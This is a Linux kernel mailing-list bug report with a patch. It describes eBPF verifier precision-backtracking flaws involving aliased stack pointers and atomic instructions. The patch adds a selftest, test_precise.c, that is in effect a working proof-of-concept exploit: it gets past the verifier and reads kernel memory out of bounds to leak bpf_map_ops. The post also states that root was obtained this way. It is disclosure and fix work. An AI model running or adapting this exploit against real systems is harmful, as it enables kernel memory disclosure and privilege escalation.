Hi, I found the backtracking logic of the eBPF verifier is flawed when meeting 1) normal load and store instruction or 2) atomic memory instructions. # Normal load and store Here, I show one case about the normal load and store instructions, which can be exploited to achieve arbitrary read and write with two requirements: 1) The uploading program should have at least CAP_BPF, which is required for most eBPF applications. 2) Disable CPU mitigations by adding "mitigations=off" in the kernel booting command line. Otherwise, the Spectre mitigation in the eBPF verifier will prevent exploitation. 1: r3 = r10 (stack pointer) 3: if cond / \ / \ 4: *(u64 *)(r3 -120) = 200 6: *(u64 *)(r3 -120) = arbitrary offset to r2 verification state 1 verification state 2 (prune point) \ / \ / 7: r6 = *(u64 *)(r1 -120) ... 17: r7 = a map pointer 18: r7 += r6 // Out-of-bound access from the right side path Give an eBPF program (tools/testing/selftests/bpf/test_precise.c) whose simplified control flow graph looks like the above. When the verifier goes through the first (left-side) path and reaches insn 18, it will backtrack on register 6 like below. 18: (0f) r7 += r6 mark_precise: frame0: last_idx 18 first_idx 17 subseq_idx -1 mark_precise: frame0: regs=r6 stack= before 17: (bf) r7 = r0 ... mark_precise: frame0: regs=r6 stack= before 7: (79) r6 = *(u64 *)(r3 -120) However, the backtracking process is problematic when it reaches insn 7. Insn 7 is to load a value from the stack, but the stack pointer is represented by r3 instead of r10. ** In this case, the verifier (as shown below) will reset the precision on r6 and not mark the precision on the stack. ** Afterward, the backtracking finishes without annotating any registers in any verifier states. else if (class == BPF_LDX) { if (!bt_is_reg_set(bt, dreg)) return 0; bt_clear_reg(bt, dreg); if (insn->src_reg != BPF_REG_FP) return 0; ... } Finally, when the second (left-side) path reaches insn 7 again, it will compare the verifier states with the previous one. However, it realizes these two states are equal because no precision is on r6, thus the eBPF program an easily pass the verifier although the second path contains an invalid access offset. We have successfully exploited this bug for getting the root privilege. If needed, we can share the exploitation. BTW, when using the similar instructions in sub_prog can also trigger an assertion in the verifier: "[ 1510.165537] verifier backtracking bug [ 1510.165582] WARNING: CPU: 2 PID: 382 at kernel/bpf/verifier.c:3626 __mark_chain_precision+0x4568/0x4e50" IMO, to fully patch this bug, we need to know whether the insn->src_reg is an alias of BPF_REG_FP. However, it might need too much code addition. Or we just do not clear the precision on the src register. # Atomic memory instructions Then, I show that the backtracking on atomic load and store is also flawed. As shown below, when the backtrack_insn() function in the verifier meets store instructions, it checks if the stack slot is set with precision or not. If not, just return. if (!bt_is_slot_set(bt, spi)) return 0; bt_clear_slot(bt, spi); if (class == BPF_STX) bt_set_reg(bt, sreg); Assume we have an atomic_fetch_or instruction (tools/testing/selftests/bpf/verifier/atomic_precision.c) shown below. 7: (4c) w7 |= w3 mark_precise: frame1: last_idx 7 first_idx 0 subseq_idx -1 mark_precise: frame1: regs=r7 stack= before 6: (c3) r7 = atomic_fetch_or((u32 *)(r10 -120), r7) mark_precise: frame1: regs=r7 stack= before 5: (bf) r7 = r10 mark_precise: frame1: regs=r10 stack= before 4: (7b) *(u64 *)(r3 -120) = r1 mark_precise: frame1: regs=r10 stack= before 3: (bf) r3 = r10 mark_precise: frame1: regs=r10 stack= before 2: (b7) r1 = 1000 mark_precise: frame1: regs=r10 stack= before 0: (85) call pc+1 BUG regs 400 Before backtracking to it, r7 has already been marked as precise. Since the value of r7 after atomic_fecth_or comes from r10-120, it should propagate the precision to r10-120. However, because the stack slot r10-120 is not marked, it doesn't satisfy bt_is_slot_set(bt, spi) condition shown above. Finally, it just returns without marking r10-120 as precise. This bug can lead to the verifier's assertion as well: "[ 1510.165537] verifier backtracking bug [ 1510.165582] WARNING: CPU: 2 PID: 382 at kernel/bpf/verifier.c:3626 __mark_chain_precision+0x4568/0x4e50" I've attached the patch for correctly propagating the precision on atomic instructions. But it still can't solve the problem that the stack slot is expressed with other registers instead of r10. Signed-off-by: Tao Lyu <tao.lyu(a)epfl.ch> --- kernel/bpf/verifier.c | 58 +++++- tools/testing/selftests/bpf/Makefile | 6 +- tools/testing/selftests/bpf/test_precise.c | 186 ++++++++++++++++++ .../selftests/bpf/verifier/atomic_precision.c | 19 ++ 4 files changed, 263 insertions(+), 6 deletions(-) create mode 100644 tools/testing/selftests/bpf/test_precise.c create mode 100644 tools/testing/selftests/bpf/verifier/atomic_precision.c diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c index e777f50401b6..4e86cd2cadd3 100644 --- a/kernel/bpf/verifier.c +++ b/kernel/bpf/verifier.c @@ -3495,6 +3495,7 @@ static int backtrack_insn(struct bpf_verifier_env *env, int idx, int subseq_idx, u32 dreg = insn->dst_reg; u32 sreg = insn->src_reg; u32 spi, i; + u32 set_spi, set_sreg; if (insn->code == 0) return 0; @@ -3512,6 +3513,11 @@ static int backtrack_insn(struct bpf_verifier_env *env, int idx, int subseq_idx, if (!bt_is_reg_set(bt, dreg)) return 0; if (opcode == BPF_MOV) { + if (dreg == BPF_REG_FP || sreg == BPF_REG_FP) { + verbose(env, "BUG: backtracking to r10\n"); + WARN_ONCE(1, "verifier backtracking bug"); + return -EFAULT; + } if (BPF_SRC(insn->code) == BPF_X) { /* dreg = sreg or dreg = (s8, s16, s32)sreg * dreg needs precision after this insn @@ -3580,11 +3586,53 @@ static int backtrack_insn(struct bpf_verifier_env *env, int idx, int subseq_idx, WARN_ONCE(1, "verifier backtracking bug"); return -EFAULT; } - if (!bt_is_slot_set(bt, spi)) - return 0; - bt_clear_slot(bt, spi); - if (class == BPF_STX) - bt_set_reg(bt, sreg); + if (BPF_MODE(insn->code) == BPF_ATOMIC) { + switch (insn->imm) { + case BPF_ADD: + case BPF_AND: + case BPF_OR: + case BPF_XOR: + if (bt_is_slot_set(bt, spi)) { + bt_set_reg(bt, sreg); + } + break; + case BPF_ADD | BPF_FETCH: + case BPF_AND | BPF_FETCH: + case BPF_OR | BPF_FETCH: + case BPF_XOR | BPF_FETCH: + set_spi = bt_is_reg_set(bt, sreg); + set_sreg = bt_is_slot_set(bt, spi); + if (set_spi) { + bt_set_slot(bt, spi); + bt_clear_reg(bt, sreg); + } + if (set_sreg) { + bt_set_slot(bt, spi); + bt_set_reg(bt, sreg); + } + break; + case BPF_XCHG: + case BPF_CMPXCHG: + if (bt_is_reg_set(bt, sreg) && bt_is_slot_set(bt, spi)) + return 0; + else if (bt_is_reg_set(bt, sreg)) { + bt_set_slot(bt, spi); + bt_clear_reg(bt, sreg); + } else if (bt_is_slot_set(bt, spi)) { + bt_set_reg(bt, sreg); + bt_clear_slot(bt, spi); + } else { + return 0; + } + break; + } + } else { + if (!bt_is_slot_set(bt, spi)) + return 0; + bt_clear_slot(bt, spi); + if (class == BPF_STX) + bt_set_reg(bt, sreg); + } } else if (class == BPF_JMP || class == BPF_JMP32) { if (bpf_pseudo_call(insn)) { int subprog_insn_idx, subprog; diff --git a/tools/testing/selftests/bpf/Makefile b/tools/testing/selftests/bpf/Makefile index 4225f975fce3..2d3d2d6b159b 100644 --- a/tools/testing/selftests/bpf/Makefile +++ b/tools/testing/selftests/bpf/Makefile @@ -53,7 +53,8 @@ TEST_GEN_PROGS = test_verifier test_tag test_maps test_lru_map test_lpm_map test test_sock test_sockmap get_cgroup_id_user \ test_cgroup_storage \ test_tcpnotify_user test_sysctl \ - test_progs-no_alu32 + test_progs-no_alu32 \ + test_precise TEST_INST_SUBDIRS := no_alu32 # Also test bpf-gcc, if present @@ -647,6 +648,9 @@ $(OUTPUT)/test_verifier: test_verifier.c verifier/tests.h $(BPFOBJ) | $(OUTPUT) $(call msg,BINARY,,$@) $(Q)$(CC) $(CFLAGS) $(filter %.a %.o %.c,$^) $(LDLIBS) -o $@ +$(OUTPUT)/test_precise: test_precise.c + $(Q)$(CC) $(CFLAGS) $(filter %.a %.o %.c,$^) -o $@ + # Include find_bit.c to compile xskxceiver. EXTRA_SRC := $(TOOLSDIR)/lib/find_bit.c $(OUTPUT)/xskxceiver: $(EXTRA_SRC) xskxceiver.c xskxceiver.h $(OUTPUT)/xsk.o $(OUTPUT)/xsk_xdp_progs.skel.h $(BPFOBJ) | $(OUTPUT) diff --git a/tools/testing/selftests/bpf/test_precise.c b/tools/testing/selftests/bpf/test_precise.c new file mode 100644 index 000000000000..8d3fe278579c --- /dev/null +++ b/tools/testing/selftests/bpf/test_precise.c @@ -0,0 +1,186 @@ +#include <linux/bpf.h> +#include <errno.h> +#include <string.h> +#include <stdio.h> +#include <unistd.h> +#include <sys/syscall.h> +#include <sys/socket.h> +#include <netinet/in.h> +#include "../../../include/linux/filter.h" + +char logbuf[1024*1024]; +char data_in[1024], data_out[1024], ctx_in[1024], ctx_out[1024]; +extern int errno; + +static int setup_listener_sock(); +static int setup_send_sock(); + +#define STORAGE_PTR_REG BPF_REG_3 +#define CORRUPTED_PTR_REG BPF_REG_4 +#define SPECIAL_VAL_REG BPF_REG_5 +#define LEAKED_VAL_REG BPF_REG_8 + +#define STORAGE_MAP_SIZE (8192) + +int main(){ + + // Create map for out-of-bound access + unsigned long long key = 0; + union bpf_attr corrupt_map = { + .map_type = BPF_MAP_TYPE_ARRAY, + .key_size = 4, + .value_size = STORAGE_MAP_SIZE, + .max_entries = 1, + }; + + strcpy(corrupt_map.map_name, "corrupt_map"); + int corrupt_map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &corrupt_map, sizeof(corrupt_map)); + if (corrupt_map_fd < 0) + return 0; + + // Set up the second, valid map in which we can store information + key = 0; + union bpf_attr storage_map = { + .map_type = BPF_MAP_TYPE_ARRAY, + .key_size = 4, + .value_size = STORAGE_MAP_SIZE, + .max_entries = 1 + }; + strcpy(storage_map.map_name, "storage_map"); + int storage_map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &storage_map, sizeof(corrupt_map)); + if (storage_map_fd < 0) { + return 0; + } + + + struct bpf_insn progBytecode[] = { + BPF_MOV64_IMM(BPF_REG_2, 1000), + BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), + BPF_ALU64_IMM(BPF_DIV, BPF_REG_2, 3), + BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0, 2), + BPF_ST_MEM(BPF_DW, BPF_REG_3, -120, 200), + BPF_JMP_IMM(BPF_JA, 0, 0, 1), + BPF_ST_MEM(BPF_DW, BPF_REG_3, -120, -0x110), + BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_3, -120), + /* Load the corrupt map */ + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), + BPF_LD_MAP_FD(BPF_REG_1, corrupt_map_fd), + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), + BPF_EXIT_INSN(), + // Trigger arbitrary read/write + BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), + BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_6), + // Access map-0x110 + BPF_LDX_MEM(BPF_DW, LEAKED_VAL_REG, BPF_REG_7, 0), + // Save the leaked bpf_map_ops into the second map + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), + BPF_LD_MAP_FD(BPF_REG_1, storage_map_fd), + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), + BPF_EXIT_INSN(), + BPF_MOV64_REG(STORAGE_PTR_REG, BPF_REG_0), + BPF_STX_MEM(BPF_DW, STORAGE_PTR_REG, LEAKED_VAL_REG, 0), + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN(), +}; + + union bpf_attr progAttr; + memset(&progAttr, 0, sizeof(progAttr)); + progAttr.prog_type = BPF_PROG_TYPE_SOCKET_FILTER; + progAttr.license = (__u64)"Dual BSD/GPL"; + progAttr.log_level = 2; + progAttr.log_size = 1024*1024; + progAttr.log_buf = (__u64)logbuf; + progAttr.insns = (__u64)progBytecode; + progAttr.insn_cnt = sizeof(progBytecode)/sizeof(struct bpf_insn); + progAttr.prog_flags = BPF_F_TEST_RND_HI32|BPF_F_TEST_STATE_FREQ; + + errno = 0; + int fd = syscall(SYS_bpf, 0x5, &progAttr, sizeof(progAttr)); + printf("%s\n%s\n", logbuf, strerror(errno)); + + /* + union bpf_attr attr; + memset(&attr, 0, sizeof(attr)); + attr.test.prog_fd = fd; + attr.test.data_size_in = sizeof(data_in); + attr.test.data_size_out = sizeof(data_out); + attr.test.data_in = (__aligned_u64)data_in; + attr.test.data_out = (__aligned_u64)data_out; + errno = 0; + int ret = syscall(SYS_bpf, 10, &attr, sizeof(attr)); + printf("BPF_PROG_TEST_RUN returns %d, %s, fd:%d\n", ret, strerror(errno), fd); + */ + + int listener_sock = setup_listener_sock(); + int send_sock = setup_send_sock(); + if (listener_sock < 0 || send_sock < 0) { + return 0; + } + if (setsockopt(listener_sock, SOL_SOCKET, SO_ATTACH_BPF, &fd, + sizeof(fd)) < 0) { + return 0; + } + // trigger execution by connecting to the listener socket + struct sockaddr_in serverAddr; + serverAddr.sin_family = AF_INET; + serverAddr.sin_port = htons(1337); + serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); + // no need to check connect, it will fail anyways + connect(send_sock, (struct sockaddr *)&serverAddr, sizeof(serverAddr)); + close(listener_sock); + close(send_sock); + + unsigned long lk[STORAGE_MAP_SIZE / sizeof(long long)]; + memset(lk, 0, sizeof(lk)); + key = 0; + union bpf_attr lookup_map = { + .map_fd = storage_map_fd, + .key = (unsigned long long)&key, + .value = (unsigned long long)&lk + }; + int err = syscall(SYS_bpf, BPF_MAP_LOOKUP_ELEM, &lookup_map, sizeof(lookup_map)); + if (err < 0) { + return 0; + } + + printf("storage map value: %lx\n", *lk); + return 0; +} + +static int setup_listener_sock() +{ + int sock_fd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK | SOCK_CLOEXEC, 0); + if (sock_fd < 0) { + return sock_fd; + } + + struct sockaddr_in serverAddr; + serverAddr.sin_family = AF_INET; + serverAddr.sin_port = htons(1337); + serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); + + int err = bind(sock_fd, (struct sockaddr *)&serverAddr, sizeof(serverAddr)); + if (err < 0) + return err; + + err = listen(sock_fd, 32); + if (err < 0) + return err; + + return sock_fd; +} + + +static int setup_send_sock() +{ + return socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0); +} + diff --git a/tools/testing/selftests/bpf/verifier/atomic_precision.c b/tools/testing/selftests/bpf/verifier/atomic_precision.c new file mode 100644 index 000000000000..49ebf97a03e8 --- /dev/null +++ b/tools/testing/selftests/bpf/verifier/atomic_precision.c @@ -0,0 +1,19 @@ +{ + "atomic_fetch_or: precision marking test", + .insns = { + BPF_CALL_REL(1), + BPF_EXIT_INSN(), + BPF_MOV64_IMM(BPF_REG_1, 1000), + BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), + BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_1, -120), + BPF_MOV64_REG(BPF_REG_7, BPF_REG_10), + BPF_ATOMIC_OP(BPF_W, BPF_OR | BPF_FETCH, BPF_REG_10, BPF_REG_7, -120), + BPF_ALU32_REG(BPF_OR, BPF_REG_7, BPF_REG_3), + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN(), + }, + .result = REJECT, + .errstr = "R7 32-bit pointer arithmetic prohibited", + .result_unpriv = REJECT, + .errstr_unpriv = "loading/calling other bpf or kernel functions are allowed for CAP_BPF and CAP_SYS_ADMIN", +}, -- 2.25.1

1 year, 11 months

2
3
0 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

Linux-kselftest-mirror